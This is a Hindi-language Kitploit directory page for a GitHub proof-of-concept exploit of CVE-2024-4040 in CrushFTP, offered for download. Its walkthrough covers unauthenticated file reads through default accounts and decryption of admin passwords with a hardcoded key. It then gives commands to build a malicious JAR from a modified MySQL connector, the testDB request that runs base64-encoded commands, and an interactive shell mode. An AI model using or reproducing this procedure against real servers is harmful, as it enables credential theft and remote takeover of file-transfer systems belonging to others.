Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-4040 — CVE-2024-4040 (CrushFTP) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो अनधिकृत फ़ाइल पढ़ने, क्रेडेंशियल डिक्रिप्शन, और दुर्भावनापूर्ण JAR अपलोड और testDB दुरुपयोग के माध्यम से रिमोट कोड निष्पादन प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/entroychang/cve-2024-4040
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 (CrushFTP) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो अनधिकृत फ़ाइल पढ़ने, क्रेडेंशियल डिक्रिप्शन, और दुर्भावनापूर्ण JAR अपलोड और testDB दुरुपयोग के माध्यम से रिमोट कोड निष्पादन प्रदान करता है।

रिपॉजिटरी देखें
3112 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-4040

परिचय

  • हाल ही में इस कमजोरी को देखकर मुझे यह काफी दिलचस्प लगा, मैंने निम्नलिखित लेख पढ़े और एक छोटा सा एक्सप्लॉइट लिखा:
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/

लक्ष्य मशीन

  • मैंने किसी और के डॉकर का उपयोग किया है, विस्तृत जानकारी के लिए कृपया लेखक के GitHub देखें।
    • https://github.com/MarkusMcNugen/docker-CrushFTP
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

आक्रमण प्रक्रिया

पासवर्ड प्राप्त करना

  • exploit.py और decrypt.java के माध्यम से पासवर्ड प्राप्त करें और डिक्रिप्ट करें। इसका कारण यह है कि कुंजी हार्डकोडेड है, इसलिए इसे डिक्रिप्ट किया जा सकता है और मनमानी फ़ाइलें पढ़ी जा सकती हैं।
  • यहाँ ध्यान दें, यदि डिफ़ॉल्ट एडमिन crushadmin मौजूद नहीं है, तो CrushFTP.log प्राप्त करने का प्रयास करें, जिसमें खाता जानकारी हो सकती है।
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • तर्क यह है कि पहले जाँचें कि लक्ष्य में कमजोरी है या नहीं, चार डिफ़ॉल्ट खातों का उपयोग करके user.XML फ़ाइल प्राप्त करने का प्रयास किया जाता है।
  • कमजोरी की पुष्टि होने पर, उपयोगकर्ता द्वारा निर्दिष्ट खाता प्राप्त किया जाता है; यदि कोई नहीं दिया गया, तो डिफ़ॉल्ट crushadmin एडमिन खाता लिया जाता है।
  • पासवर्ड प्राप्त करने के बाद, decrypt.java का उपयोग करके इसे डिक्रिप्ट किया जाता है।
  • --shell फीचर RCE के परिणाम देखने में सुविधा प्रदान करता है। नीचे दी गई विधि से jar फ़ाइल अपलोड करने के बाद, --jar-path और --headers निर्दिष्ट करके कमांड के निष्पादन परिणाम देखे जा सकते हैं:
    • ध्यान दें कि --headers में लॉगिन के बाद का Cookie देना अनिवार्य है, उदाहरण: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path डिफ़ॉल्ट रूप से /tmp/mysql_cmd_db_user_final_with_echo_base64.jar होता है; यदि यह भिन्न स्थान पर है, तो पथ निर्दिष्ट करना सुनिश्चित करें। सैद्धांतिक रूप से सापेक्ष पथ भी काम कर सकता है, लेकिन पूर्ण पथ का उपयोग करने की अनुशंसा की जाती है।
    • बाहर निकलने के लिए exit टाइप करें।
    • उदाहरण कमांड: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

लॉगिन करके मैपिंग और अनुमतियाँ समायोजित करना

  • लॉगिन करने के बाद एडमिन पैनल पर जाएं।
  • User Manager ढूंढें और बाईं ओर के उपयोगकर्ता पर क्लिक करें, फिर जिस फ़ोल्डर को मैप करना चाहते हैं, उसे User's Stuff पर खींचें। अंत में अनुमतियाँ समायोजित करें, upload को चेक करना सुनिश्चित करें।

दुर्भावनापूर्ण jar फ़ाइल अपलोड करना

  • दुर्भावनापूर्ण jar फ़ाइल अपलोड करें। मैंने दो संस्करण तैयार किए हैं, एक JDK 16 के लिए और दूसरा JDK 13 के लिए, यह सर्वर के Java संस्करण पर निर्भर करता है।
  • फ़ाइलों पर वापस जाएं, upload पर क्लिक करें और दुर्भावनापूर्ण jar फ़ाइल अपलोड करें।

RCE

  • RCE का कारण सरलता से यह है कि एक testDB फीचर है जिसमें कोई jar फ़ाइल और ड्राइवर ऑब्जेक्ट निर्दिष्ट कर सकता है, और अपलोड करने की सुविधा भी है; इन दोनों को जोड़कर RCE प्राप्त किया जा सकता है।
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • चित्र में कमांड id है।
    • पैरामीटर db_user में base64 एनकोडेड कमांड पास करके इसे निष्पादित किया जा सकता है।
  • मैंने व्यक्तिगत रूप से mysql connector 5.0.4 संस्करण में संशोधन किया है।
  • यदि दो संकलित संस्करण काम नहीं करते हैं, तो मैंने अपना संशोधित संस्करण प्रदान किया है, जिसे निम्नलिखित निर्देशों के अनुसार पुनः संकलित किया जा सकता है:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
टूल डाउनलोड करें